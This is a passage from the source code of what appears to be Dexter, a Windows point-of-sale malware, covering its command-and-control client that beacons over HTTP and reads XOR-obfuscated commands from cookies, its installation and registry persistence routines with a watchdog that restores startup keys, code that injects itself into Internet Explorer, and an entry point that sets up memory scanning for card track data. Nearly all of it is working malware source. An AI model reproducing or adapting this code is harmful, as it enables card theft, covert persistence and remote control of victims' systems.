129 | static char checkin[] = "checkin:";
130 | static char scanin[] = "scanin:";
131 | static char uninstall[] = "uninstall";
132 | static int fullVarSize = sizeof(varUID) + sizeof(varDumps) + sizeof(varIdle) + sizeof(varUsername) /
133 | + sizeof(varComputername) + sizeof(varProclist) + sizeof(varArch) + sizeof(varOS) /
134 | + sizeof(varKey) + sizeof(Key) + sizeof(varVersion) + sizeof(BotVersion);
135 |
136 | static int runtimeVarSize = sizeof(varUID) + sizeof(varDumps) + sizeof(varIdle) + sizeof(varProclist) /
137 | + sizeof(varKey) + sizeof(Key) + sizeof(varVersion) + sizeof(BotVersion);
138 | //////////////////////////
139 |
140 |
141 |
142 |
--------------------------------------------------------------------------------
/source/HttpInteract.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #include "Globals.h"
7 | #include "Config.h"
8 |
9 | #pragma comment(lib, "shlwapi.lib")
10 | #pragma comment(lib, "wininet.lib")
11 | #pragma comment(lib, "urlmon.lib")
12 |
13 |
14 | void HttpInteract() { //Use of this function is to be able to send the info instantly on reboot/log off/shutdown
15 |
16 | DWORD dWait;
17 |
18 | while(1) {
19 |
20 | WaitForSingleObject(hInteractEvent,INFINITE);
21 | dWait = ConnectInterval;
22 | Sleep(dWait);
23 | SetEvent(hConnectEvent);
24 | }
25 | }
26 |
27 | void HttpMain() {
28 |
29 | BOOL AlreadyConnected,ValidIndex,PresistInfo;
30 | DWORD Size,x;
31 | char UserAgent[128],Url[255],Commands[255],*pCommands;
32 | HINTERNET hConnect,hRequest;
33 |
34 |
35 | Size = sizeof(UserAgent);
36 | _memset(UserAgent,0x00,Size);
37 | ObtainUserAgentString(0,UserAgent,&Size);
38 | if(UserAgent[0]==0x00) { lstrcpy(UserAgent,"Mozilla/4.0(compatible; MSIE 7.0b; Windows NT 6.0)"); }
39 |
40 | while((hOpen = InternetOpen(UserAgent,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0)) == NULL) { Sleep(60000); } //Wait till its able to open internet connection
41 |
42 | x = 0;
43 | ValidIndex = FALSE;
44 | AlreadyConnected = FALSE;
45 | PresistInfo = FALSE;
46 | while(1) { //Start enumerating URLs till you find working one
47 |
48 | if(Urls[x]==0x00) {
49 | x = 0;
50 | Sleep(ConnectInterval);
51 | }
52 |
53 | hConnect = InternetConnect(hOpen,Urls[x],INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,0);
54 | if(hConnect==NULL) { x++; ValidIndex = FALSE; continue; }
55 | hRequest = HttpOpenRequest(hConnect,"POST",Pages[x],NULL,NULL,NULL,INTERNET_FLAG_RELOAD|INTERNET_FLAG_NO_AUTO_REDIRECT|INTERNET_FLAG_NO_CACHE_WRITE,0);
56 | if(hRequest==NULL) { x++; ValidIndex = FALSE; InternetCloseHandle(hConnect); continue; }
57 |
58 | if(AlreadyConnected==TRUE) { //We have connected already to server once, so we dont gather full info anymore
59 |
60 | if(PresistInfo==FALSE) { //Last gathered info has been sent so we can gather new one
61 |
62 | GatherInfo(FALSE); //not full info
63 | PresistInfo = TRUE; //there is info to send
64 | }
65 | } else {
66 | if(PresistInfo==FALSE) { //Last gathered info has been send so we can gather new one
67 |
68 | GatherInfo(TRUE); //full info, this is executed just once
69 | PresistInfo = TRUE; //there is info to send
70 | }
71 | }
72 |
73 |
74 | if(HttpSendRequest(hRequest,"Content-Type:application/x-www-form-urlencoded",-1L,pHttpData,lstrlen(pHttpData))==TRUE) { //Successfully connected - get command
75 |
76 | //Build cookie url
77 | _memset(Url,0x00,sizeof(Url));
78 | wsprintf(Url,"http://%s%s",Urls[x],Pages[x]);
79 | /////////////////////////////////
80 |
81 | //Get cookie - commands
82 | _memset(Commands,0x00,sizeof(Commands));
83 | if(GetCookie(Url,Commands)==TRUE) { //We are on valid url
84 |
85 | pCommands = Commands;
86 | pCommands += lstrlen(response);
87 | //MessageBox(NULL,pCommands,"Check if valid",MB_OK);
88 | if(*pCommands=='$') { //This seems to be real command
89 |
90 | ExecCommands(pCommands);
91 | ValidIndex = TRUE;
92 | AlreadyConnected = TRUE;
93 | PresistInfo = FALSE;
94 | } else { ValidIndex = FALSE; }
95 | } else { ValidIndex = FALSE; }
96 | }
97 | InternetCloseHandle(hRequest);
98 | InternetCloseHandle(hConnect);
99 |
100 | if(ValidIndex==FALSE) { x++; } //there is no valid url so continue the iteration
101 | else {
102 | HeapFree(hHeap,HEAP_ZERO_MEMORY,pHttpData);
103 | SetEvent(hInteractEvent);
104 | WaitForSingleObject(hConnectEvent,INFINITE);
105 | } //there is valid url
106 | } //main loop
107 | }
108 |
109 | BOOL GetCookie(char *CookieUrl, char *pCommand) { //If return TRUE - there is command, if return FALSE - there is no command
110 |
111 | char *pDecoded;
112 | DWORD CookieSize,LeftSize;
113 |
114 |
115 | //void ptr to get the exact size of cookie
116 | CookieSize = 0;
117 | InternetGetCookie(CookieUrl,response,NULL,&CookieSize);
118 | if(CookieSize<=1) { return FALSE; }
119 |
120 | pDecoded = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,CookieSize);
121 | _memset(pDecoded,0x00,CookieSize);
122 |
123 | //Get the cookie
124 | //MessageBox(NULL,NULL,NULL,MB_OK);
125 | InternetGetCookie(CookieUrl,response,pCommand,&CookieSize);
126 |
127 | //MessageBox(NULL,pCommand,CookieUrl,MB_OK);
128 | //Is there response cookie ?
129 | pCommand = StrStr(pCommand,response);
130 | if(pCommand==NULL) { return FALSE; }
131 |
132 | //Url decode
133 | pCommand += lstrlenA(response);
134 | url_decode(pCommand,pDecoded);
135 | if(*pDecoded=='#') { pCommand -= lstrlenA(response); lstrcpy(pCommand,pDecoded); HeapFree(hHeap,0,pDecoded); return TRUE; }
136 |
137 |
138 | LeftSize = lstrlenA(pCommand);
139 | _memset(pCommand,0x00,LeftSize);
140 | //base64 decode
141 | CookieSize = base64_decode(pDecoded,lstrlenA(pDecoded),pCommand,LeftSize);
142 | ///////////////////////////////////////////////////////////////////////////////////////////////////////
143 | //xor
144 | _xor(pCommand,Key,CookieSize,lstrlenA(Key));
145 | ////////////////////////////////////////////////////////////////////////////////////////////////////////
146 |
147 |
148 | //lstrcpy(pCommand,pDecoded);
149 | HeapFree(hHeap,0,pDecoded);
150 |
151 | return TRUE;
152 | }
153 |
154 | char *DownloadFile(char *Url, DWORD *pFileSize) { //Need to do VirtualFree on *decoded
155 |
156 | HINTERNET hRequest;
157 | char CookieUrl[255],buffer[512],Command[64],*pCommand;
158 | unsigned char *saved,*decoded;
159 | DWORD BytesRead,Size,FileSize;
160 |
161 |
162 | hRequest = InternetOpenUrl(hOpen,Url,NULL,0,INTERNET_FLAG_NO_CACHE_WRITE|INTERNET_FLAG_NO_AUTO_REDIRECT|INTERNET_FLAG_RELOAD,0);
163 |
164 | _memset(Command,0x00,sizeof(Command));
165 | CopyTill(CookieUrl,Url,'?');
166 | if(GetCookie(CookieUrl,Command)==FALSE) { return NULL; } //No cookie - probably invalid url
167 | pCommand = Command;
168 | pCommand += lstrlen(response);
169 | pCommand++; //skip the $
170 | //MessageBox(NULL,pCommand,"Before GetFileSize",MB_OK);
171 | GetDownloadFileSize(pCommand,&FileSize);
172 |
173 | saved = HeapAlloc(hHeap,0,FileSize);
174 | decoded = VirtualAlloc(NULL,FileSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
175 |
176 | Size = 0;
177 | BytesRead = 0;
178 | _memset(buffer,0x00,sizeof(buffer));
179 | while(InternetReadFile(hRequest,buffer,sizeof(buffer),&BytesRead) && BytesRead != 0) {
180 |
181 |
182 | _memcpy(saved,buffer,BytesRead);
183 | saved = saved + BytesRead;
184 | Size += BytesRead;
185 | BytesRead = 0;
186 | _memset(buffer,0x00,sizeof(buffer));
187 |
188 | }
189 |
190 |
191 |
192 | saved = saved - Size; //restore to starting position
193 |
194 | Size = base64_decode(saved,Size,decoded,Size);
195 | _xor(decoded,Key,Size,5);
196 |
197 |
198 | HeapFree(hHeap,0,saved);
199 | InternetCloseHandle(hRequest);
200 |
201 | *pFileSize = Size;
202 |
203 | return decoded;
204 | }
205 |
206 | BYTE *GetDownloadFileSize(char *conf,DWORD *pFileSize) {
207 |
208 | char sFileSize[10];
209 |
210 | if(*conf!='(') { return NULL; }
211 | conf++; //skip '('
212 |
213 | conf += CopyTill(sFileSize,conf,')');
214 |
215 | conf++; //skip ')'
216 |
217 | *pFileSize = _atoi(sFileSize);
218 |
219 | return conf;
220 | }
--------------------------------------------------------------------------------
/source/HttpInteract.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nyx0/Dexter/efe615e7bec4628c4550816b0c5f50fc0c03264f/source/HttpInteract.h
--------------------------------------------------------------------------------
/source/Infect.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include "Globals.h"
5 |
6 |
7 | void RandStrW(WCHAR *ptr,int len);
8 | void DisableOpenFileWarning();
9 |
10 |
11 | char UniqName[] = "Digit";
12 | WCHAR wUniqName[] = L"Digit";
13 | char extensions[] = ".exe;.bat;.reg;.vbs;";
14 |
15 | BOOL CheckIfInfected() {
16 |
17 | int Len;
18 | HKEY hKey;
19 | DWORD KeyOption;
20 |
21 |
22 | //MessageBox(NULL,"CheckIfInfected",NULL,MB_OK);
23 | //first check if 'Uniq' = UID exist
24 | hKey = NULL;
25 | KeyOption = 0;
26 | RegCreateKeyEx(HKEY_CURRENT_USER,SoftwareName,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&KeyOption);
27 | if(KeyOption==REG_CREATED_NEW_KEY) { RegCloseKey(hKey); return FALSE; } //not infected
28 |
29 | KeyOption = 0;
30 | Len = sizeof(Uniq);
31 | _memset(Uniq,0x00,sizeof(Uniq));
32 | RegQueryValueEx(hKey,UniqName,0,&KeyOption,Uniq,&Len);
33 | if(Uniq[0]==0x00) { RegCloseKey(hKey); return FALSE; } //not infected
34 | RegCloseKey(hKey);
35 |
36 | _memset(wUniq,0x00,sizeof(wUniq));
37 | MultiByteToWideChar(CP_ACP,0,Uniq,lstrlen(Uniq),wUniq,sizeof(wUniq));
38 |
39 | //MessageBox(NULL,Uniq,NULL,MB_OK);
40 |
41 | return TRUE; //infected
42 | }
43 |
44 | void GenUnique(char *ptr);
45 |
46 | void Infect() {
47 |
48 | WCHAR AppData[MAX_PATH],DirName[5];
49 | DWORD LenInBytes,KeyOption,ret;
50 | HKEY hKey;
51 |
52 |
53 | //Drop the file in random folder with random name in AppData // FIXME: Make it use windows shadow copies location
54 | _memset(DirName,0x00,sizeof(DirName));
55 | _memset(AppData,0x00,sizeof(AppData));
56 | _memset(CurrentLocation,0x00,sizeof(CurrentLocation));
57 |
58 | RandStrW(DirName,5);
59 | SHGetFolderPathW(0,CSIDL_APPDATA,NULL,SHGFP_TYPE_CURRENT,AppData);
60 |
61 | wsprintfW(CurrentLocation,L"%s\\%s",AppData,DirName);
62 | CreateDirectoryW(CurrentLocation,NULL);
63 | wsprintfW(CurrentLocation,L"%s\\%s\\%s.exe",AppData,DirName,DirName);
64 |
65 |
66 | CopyFileW(OldLocation,CurrentLocation,FALSE);
67 |
68 | DeleteFileW(OldLocation);
69 | //////////////////////////////////////////////
70 |
71 | //Generate UID
72 | _memset(Uniq,0x00,sizeof(Uniq));
73 | _memset(wUniq,0x00,sizeof(wUniq));
74 |
75 | GenUnique(Uniq);
76 | MultiByteToWideChar(CP_ACP,0,Uniq,lstrlen(Uniq),wUniq,sizeof(wUniq));
77 | //MessageBox(NULL,Uniq,NULL,MB_OK);
78 | ///////////////////////////
79 |
80 | //Create the main registry key
81 | KeyOption = 0;
82 | RegCreateKeyEx(HKEY_CURRENT_USER,SoftwareName,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&KeyOption);
83 | LenInBytes = lstrlen(Uniq) * sizeof(char);
84 | RegSetValueEx(hKey,UniqName,0,REG_SZ,Uniq,LenInBytes); //store the UID
85 | RegCloseKey(hKey);
86 | //////////////////////////////
87 |
88 |
89 | /*Create start-up keys*/
90 | //try first to create admin key
91 | SetLastError(ERROR_SUCCESS);
92 | RegOpenKeyEx(HKEY_LOCAL_MACHINE,RunPath,0,KEY_ALL_ACCESS,&hKey);
93 | if(GetLastError()==ERROR_SUCCESS) { //we are admin or system
94 |
95 | LenInBytes = lstrlenW(CurrentLocation) * sizeof(WCHAR);
96 | ret = RegSetValueExW(hKey,wUniq,0,REG_SZ,(const BYTE *)CurrentLocation,LenInBytes); //store the startup key
97 | if(ret!=0) { RegCloseKey(hKey); goto UserPrivs; }
98 | RegCloseKey(hKey);
99 |
100 | //Write to key for all new user accoutns
101 | RegOpenKeyEx(HKEY_USERS,AllUsersRunPath,0,KEY_ALL_ACCESS,&hKey);
102 | LenInBytes = lstrlenW(CurrentLocation) * sizeof(WCHAR);
103 | RegSetValueExW(hKey,wUniq,0,REG_SZ,(const BYTE *)CurrentLocation,LenInBytes); //store the startup key
104 | RegCloseKey(hKey);
105 |
106 | } //we are regular user
107 |
108 | //try second to create user key
109 | UserPrivs:
110 | RegOpenKeyEx(HKEY_CURRENT_USER,RunPath,0,KEY_ALL_ACCESS,&hKey);
111 | LenInBytes = lstrlenW(CurrentLocation) * sizeof(WCHAR);
112 | RegSetValueExW(hKey,wUniq,0,REG_SZ,(const BYTE *)CurrentLocation,LenInBytes); //store the startup key
113 | RegCloseKey(hKey);
114 | ////////////////////////////////////////
115 | }
116 |
117 |
118 | void DisableOpenFileWarning() {
119 |
120 | HKEY hKey;
121 | DWORD KeyOption,LenInBytes,Value;
122 |
123 | KeyOption = 0;
124 | RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Associations",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&KeyOption);
125 | LenInBytes = lstrlen(extensions) * sizeof(char);
126 | RegSetValueEx(hKey,"LowRiskFileTypes",0,REG_SZ,extensions,LenInBytes);
127 | RegCloseKey(hKey);
128 |
129 | RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\0",0,KEY_ALL_ACCESS,&hKey);
130 | Value = 0;
131 | RegSetValueEx(hKey,"1806",0,REG_DWORD,(const BYTE *)&Value,sizeof(Value));
132 | RegCloseKey(hKey);
133 |
134 | SetLastError(ERROR_SUCCESS);
135 | RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\0",0,KEY_ALL_ACCESS,&hKey);
136 | if(GetLastError()==ERROR_SUCCESS) {
137 |
138 | Value = 0;
139 | RegSetValueEx(hKey,"1806",0,REG_DWORD,(const BYTE *)&Value,sizeof(Value));
140 | RegCloseKey(hKey);
141 | }
142 | }
143 |
144 | void ProtectRegistry() {
145 |
146 | /*We wont check if startup keys exist,
147 | but blindy set them and use the handles to keep eye of changes,
148 | and if change is made set them again */
149 | int i;
150 | HKEY hKey[3];
151 | HANDLE hEvent;
152 | DWORD dwFilter,LenInBytes;
153 |
154 | dwFilter = REG_NOTIFY_CHANGE_NAME|REG_NOTIFY_CHANGE_LAST_SET;
155 |
156 | LenInBytes = lstrlenW(CurrentLocation) * sizeof(WCHAR);
157 |
158 | i = 0;
159 | _memset(&hKey,0x00,sizeof(hKey));
160 | RegOpenKeyEx(HKEY_LOCAL_MACHINE,RunPath,0,KEY_ALL_ACCESS,&hKey[i]); //HKEY_LOCAL_MACHINE
161 | if(hKey[i]!=NULL) { i++; }
162 | RegOpenKeyEx(HKEY_USERS,AllUsersRunPath,0,KEY_ALL_ACCESS,&hKey[i]); //HKEY_USERS
163 | if(hKey[i]!=NULL) { i++; }
164 | RegOpenKeyEx(HKEY_CURRENT_USER,RunPath,0,KEY_ALL_ACCESS,&hKey[i]); //HKEY_CURRENT_USER
165 |
166 |
167 | i = 0;
168 | hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
169 | while(hKey[i]!=NULL) { //All handles to all event, because there may be case someone to try to delete all keys at once
170 | RegSetValueExW(hKey[i],wUniq,0,REG_SZ,(const BYTE *)CurrentLocation,LenInBytes); //store the startup key
171 | RegNotifyChangeKeyValue(hKey[i],TRUE,dwFilter,hEvent,TRUE);
172 | i++;
173 | }
174 |
175 | while(1) {
176 | WaitForSingleObject(hEvent,INFINITE);
177 |
178 | i = 0;
179 | while(hKey[i]!=NULL) {
180 | RegSetValueExW(hKey[i],wUniq,0,REG_SZ,(const BYTE *)CurrentLocation,LenInBytes); //set the startup key
181 | RegNotifyChangeKeyValue(hKey[i],TRUE,dwFilter,hEvent,TRUE);
182 | i++;
183 | }
184 | }
185 | }
186 |
187 |
188 |
--------------------------------------------------------------------------------
/source/InjectSection.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include "Globals.h"
5 |
6 |
7 | void *copySectionToProcess(HANDLE process, void *image) {
8 |
9 | BOOL ok;
10 | LPWORD relList;
11 | DWORD imageSize,relCount,i;
12 | DWORD_PTR delta,oldDelta,*p;
13 | LPBYTE remoteMem,buf;
14 | IMAGE_DATA_DIRECTORY *relocsDir;
15 | IMAGE_BASE_RELOCATION *relHdr;
16 | PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
17 |
18 |
19 | imageSize = ntHeader->OptionalHeader.SizeOfImage;
20 | ok = FALSE;
21 |
22 | if(IsBadReadPtr(image, imageSize) != 0)return NULL;
23 |
24 |
25 | remoteMem = (LPBYTE)VirtualAllocEx(process, NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
26 | if(remoteMem != NULL)
27 | {
28 |
29 | //buf = (LPBYTE)Mem::copyEx(image, imageSize);
30 | buf = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,imageSize);
31 | _memcpy(buf,image,imageSize);
32 |
33 | if(buf != NULL)
34 | {
35 |
36 | relocsDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
37 |
38 | if(relocsDir->Size > 0 && relocsDir->VirtualAddress > 0)
39 | {
40 | delta = (DWORD_PTR)((LPBYTE)remoteMem - ntHeader->OptionalHeader.ImageBase);
41 | oldDelta = (DWORD_PTR)((LPBYTE)image - ntHeader->OptionalHeader.ImageBase);
42 | relHdr = (IMAGE_BASE_RELOCATION *)(buf + relocsDir->VirtualAddress);
43 |
44 | while(relHdr->VirtualAddress != 0)
45 | {
46 | if(relHdr->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
47 | {
48 | relCount = (relHdr->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
49 | relList = (LPWORD)((LPBYTE)relHdr + sizeof(IMAGE_BASE_RELOCATION));
50 |
51 | for(i = 0; i < relCount; i++)if(relList[i] > 0)
52 | {
53 | p = (DWORD_PTR *)(buf + (relHdr->VirtualAddress + (0x0FFF & (relList[i]))));
54 | *p -= oldDelta;
55 | *p += delta;
56 | }
57 | }
58 |
59 | relHdr = (IMAGE_BASE_RELOCATION *)((LPBYTE)relHdr + relHdr->SizeOfBlock);
60 | }
61 |
62 | ok = WriteProcessMemory(process, remoteMem, buf, imageSize, NULL) ? TRUE : FALSE;
63 | }
64 |
65 | //Mem::free(buf);
66 | HeapFree(hHeap,HEAP_ZERO_MEMORY,buf);
67 | }
68 |
69 | if(!ok)
70 | {
71 | VirtualFreeEx(process, (void *)remoteMem, 0, MEM_RELEASE);
72 | remoteMem = NULL;
73 | }
74 | }
75 |
76 | return remoteMem;
77 | }
78 |
79 |
80 | void BeginInjection(BOOL IsChild) { //IsChild = TRUE - injecting child process for process protection
81 |
82 | HANDLE newhMutex,newhCache;
83 | DWORD image,newImage,StartRoutine;
84 | STARTUPINFOW si;
85 | PROCESS_INFORMATION pi;
86 |
87 | _memset(&si,0x00,sizeof(si));
88 | si.cb = sizeof(si);
89 | _memset(&pi,0x00,sizeof(pi));
90 | bInjected = TRUE;
91 |
92 |
93 | CreateProcessW(IEPath,NULL,NULL,NULL,TRUE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
94 |
95 | //Copy hMutex handle, to prevent other processes from starting
96 | DuplicateHandle((HANDLE)-1,(HANDLE) hMutex, pi.hProcess, &newhMutex, 0, FALSE, DUPLICATE_SAME_ACCESS);
97 | hMutex = (DWORD) newhMutex;
98 |
99 | if(IsChild==TRUE) {
100 |
101 | ParentPID = CurPID;
102 | ChildPID = pi.dwProcessId;
103 |
104 | //Copy the cache map handle to prevent it from being destroyed if this process dies
105 | DuplicateHandle((HANDLE)-1,(HANDLE) hCacheMapping, pi.hProcess, &newhCache, 0, FALSE, DUPLICATE_SAME_ACCESS);
106 | hCacheMapping = newhCache;
107 | }
108 |
109 | image = CurrentModule;
110 | if((newImage = (DWORD) copySectionToProcess(pi.hProcess, (HANDLE)image))==(DWORD)NULL) { return; /*Injection failed*/ }
111 |
112 | //Create thread at the entry point
113 | StartRoutine = newImage + ((DWORD)_entryPoint - image);
114 |
115 | if(CreateRemoteThread(pi.hProcess,NULL,0,(LPTHREAD_START_ROUTINE)StartRoutine,NULL,0,NULL)!=NULL) { if(IsChild==FALSE) { ExitProcess(0); } /*Injection Successfull*/ }
116 | }
117 |
118 | void MonitorChild() {
119 |
120 | while(1) {
121 | if(GetProcessVersion(ChildPID)==0) { //Child is dead
122 | BeginInjection(TRUE);
123 | }
124 | Sleep(2000);
125 | }
126 | }
--------------------------------------------------------------------------------
/source/POSGrabber.c:
--------------------------------------------------------------------------------
1 |
2 | #include
3 | #include
4 | #include
5 | #include
6 |
7 | #include "Globals.h"
8 | #include "Config.h"
9 |
10 |
11 | #pragma comment(lib, "shlwapi.lib")
12 | #pragma comment(lib, "rpcrt4.lib")
13 |
14 | #pragma comment(linker,"/ENTRY:_entryPoint")
15 | #pragma comment(linker,"/MERGE:.rdata=.text")
16 | #pragma comment(linker,"/SECTION:.text,ERW")
17 | //#pragma comment(linker,"/FIXED:NO")
18 | #pragma comment(linker,"/NODEFAULTLIB:LIBCMT")
19 | #pragma comment(linker,"/NODEFAULTLIB:MSVCRT")
20 | //#pragma comment(linker,"/FILEALIGN:0x200")c1
21 |
22 | /*FIXME: For the pBlob use file mapping instead of heap, so if the process crashes, the child process can use the grabbed logs from the previos process*/
23 | /*FIXME: Adding logging to files, if could not connect to server given amount of time and log to files on shutdown/reboot/log off, if there is no valid server */
24 |
25 | #define HEAP_LFH 2
26 |
27 | #define StaticCacheSize 2*40000
28 | #define ReadLimit 100*4096 //6 zeroes - for ReadProcessMemory
29 | //#define RealBackLen 16
30 | //#define RealForwardLenMin 10
31 |
32 | //#define RealForwardLenMax 25
33 | //#define TotalLen (RealBackLen + RealForwardLen + 1) //+1 for the '='
34 | #define StaticBlobSize 40000
35 | #define ReAllocChunk 10000
36 |
37 |
38 | #define T1MaxLen 79
39 | #define T2MaxLen 40
40 | #define T3MaxLen 107
41 | #define MinimalEndData 15
42 |
43 | BOOL bInjected = FALSE;
44 | DWORD CurPID = 0;
45 | DWORD ParentPID = 0;
46 | DWORD ChildPID = 0;
47 | DWORD hMutex = 0;
48 | HANDLE hCacheMapping = NULL;
49 |
50 | PROCESSENTRY32 ProcessInfo;
51 | DWORD BlobSize,CacheSize;
52 | char *pCacheMap,LastProcess[64];
53 | BYTE *pGlobalBuf;
54 |
55 | void GetDebugPrivs();
56 | BOOL ScanMemory();
57 | void ScanMemoryLoop();
58 | BOOL IsPCx64();
59 |
60 |
61 |
62 | void _entryPoint() { //Entry Point
63 |
64 | BYTE *pCommandLine;
65 | DWORD CSIDL;
66 | MEMORY_BASIC_INFORMATION MBI;
67 | char UpdateMutexString[64];
68 | HANDLE hUpdateMutexOne,hUpdateMutexTwo,hProcess;
69 | SECURITY_ATTRIBUTES sa;
70 |
71 |
72 | //Check if this is not update - first mutex is created by the new update bin, after its confirmed from the current running loader, he will create
73 | //one more mutex for which the update bin is waiting
74 | pCommandLine = GetCommandLine();
75 | if(pCommandLine!=NULL) {
76 | if(StrStr(pCommandLine,UpdateMutexMark)!=NULL) {
77 | hUpdateMutexOne = CreateMutex(NULL,FALSE,pCommandLine);
78 |
79 | //Create the string for the second mutex and wait for it to be created
80 | _memset(UpdateMutexString,0x00,sizeof(UpdateMutexString));
81 | wsprintf(UpdateMutexString,"%s%d",pCommandLine,GetCurrentProcessId());
82 |
83 | while(1) {
84 | SetLastError(ERROR_SUCCESS);
85 |
86 | hUpdateMutexTwo = CreateMutex(NULL,FALSE,UpdateMutexString);
87 | if(GetLastError()==ERROR_ALREADY_EXISTS) { //All went fine, close mutexes and kill the parent process
88 |
89 | CloseHandle(hUpdateMutexOne);
90 | CloseHandle(hUpdateMutexTwo);
91 |
92 | CSIDL = GetParentProcessId();
93 | if(CSIDL!=-1) { //Successfully acquired parent PID
94 | hProcess = OpenProcess(PROCESS_TERMINATE,FALSE,CSIDL);
95 | TerminateProcess(hProcess,0);
96 | CloseHandle(hProcess);
97 | }
98 |
99 | break;
100 | }
101 | CloseHandle(hUpdateMutexTwo);
102 | Sleep(1000);
103 | }
104 | }
105 | }
106 | /////////////////////////////////////
107 | //////////////////////////////////////////////////////////////////////
108 |
109 | //This is loop for the process protect - child process loop, waiting the parent to die
110 | if(ParentPID!=0) {
111 | while(GetProcessVersion(ParentPID)!=0) {
112 | Sleep(2000);
113 | }
114 | }
115 | ////////////////////////////////////////////
116 |
117 | if(hMutex==0) { //This wont be NULL, when we injected
118 | //Make sure that only one istance will run
119 | SetLastError(ERROR_SUCCESS);
120 | hMutex = (DWORD) CreateMutex(NULL,FALSE,MutexString);
121 | if(GetLastError()==ERROR_ALREADY_EXISTS) { ExitProcess(0); }
122 | ////////////////////////////////////////////////////////////////
123 | }
124 |
125 | //Get current pid, to prevent self-scanning
126 | CurPID = GetCurrentProcessId();
127 |
128 | //Heap init and config
129 | hHeap = GetProcessHeap();
130 | //hFlag = HEAP_LFH;
131 | //HeapSetInformation(hHeap,HeapCompatibilityInformation,&hFlag,sizeof(hFlag));
132 | //////////////////////////////////////////////
133 |
134 | IsWoW64ProcessX = (mIsWoW64Process) GetProcAddress(GetModuleHandle("kernel32.dll"),"IsWow64Process");
135 | //Check if injected
136 | if(bInjected==FALSE) { //Not injected - inject
137 |
138 | x64 = IsPCx64();
139 |
140 | //Get IE path
141 | _memset(IEPath,0x00,sizeof(IEPath));
142 | if(x64==TRUE) {
143 | CSIDL = CSIDL_PROGRAM_FILESX86;
144 | SHGetFolderPathW(NULL,CSIDL,NULL,SHGFP_TYPE_CURRENT,IEPath);
145 | lstrcatW(IEPath,L"\\Internet Explorer\\iexplore.exe"); } //we are running on x64
146 | else { CSIDL = CSIDL_PROGRAM_FILES;
147 | SHGetFolderPathW(NULL,CSIDL,NULL,SHGFP_TYPE_CURRENT,IEPath);
148 | lstrcatW(IEPath,L"\\Internet Explorer\\iexplore.exe"); } //we are running on x86
149 | ///////////////////////////////////////////////////////////////////////////////
150 |
151 | CurrentModule = (DWORD) GetModuleHandle(NULL);
152 | GetModuleFileNameW(NULL,OldLocation,sizeof(OldLocation));
153 | lstrcpyW(CurrentLocation,OldLocation);
154 | BeginInjection(FALSE);
155 |
156 | } //here we get the old full path, so we can delete it later
157 | else { //Injected - load dll's
158 |
159 | LoadLibrary("user32.dll");
160 | LoadLibrary("advapi32.dll");
161 | LoadLibrary("shell32.dll");
162 | LoadLibrary("urlmon.dll");
163 | LoadLibrary("wininet.dll");
164 | LoadLibrary("gdi32.dll");
165 | LoadLibrary("rpcrt4.dll");
166 |
167 | //Get module base
168 | _memset(&MBI,0x00,sizeof(MBI));
169 | VirtualQuery(_entryPoint,&MBI,sizeof(MBI));
170 | CurrentModule = (DWORD) MBI.AllocationBase;
171 | }
172 |
173 |
174 | //Check if infected
175 | if(CheckIfInfected()==FALSE) { Infect(); }
176 |
177 | //Disable open-file warning - at every start just for sure
178 | DisableOpenFileWarning();
179 | //////////////////////////////////////////
180 |
181 | //Needed for the GatherInfo / GetIdleTime
182 | _GetLastInputInfo = (__GetLastInputInfo) GetProcAddress(GetModuleHandle("user32.dll"),"GetLastInputInfo");
183 |
184 | //Try to acquire debug privilegs
185 | GetDebugPrivs();
186 |
187 | //Allocate blob to keep the grabbed dumps
188 | pBlob = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,StaticBlobSize);
189 | BlobSize = StaticBlobSize;
190 | GrowSize = 0;
191 | ////////////////////////////////////////////////
192 |
193 |
194 | lstrcpy(LastProcess,"NoProcess");
195 | //Interval between each memory scan
196 | ScanInterval = MemoryScanInterval;
197 | //Interval between each connect to server
198 | ConnectInterval = HttpConnectInterval;
199 |
200 | //Init critical sections
201 | _memset(&crsBlob,0x00,sizeof(crsBlob));
202 | InitializeCriticalSection(&crsBlob); //crsBlob - access the blob where the dumps are stored
203 | //////////////////////////////////////
204 |
205 | //Create events
206 | hConnectEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
207 | hInteractEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
208 | /////////////////////////////////
209 |
210 | //Generate random key for the xor encryption
211 | RandStrA(Key,5);
212 | _memset(EncodedKey,0x00,sizeof(EncodedKey));
213 | base64_encode(Key,lstrlen(Key),EncodedKey,sizeof(EncodedKey));
214 |
215 | //Create file mapping for caching track2 CRC32's
216 | if(hCacheMapping==NULL) { //The mapping is not created yet, create it.
217 | sa.nLength = sizeof(sa);
218 | sa.lpSecurityDescriptor = NULL;
219 | sa.bInheritHandle = TRUE;
220 |
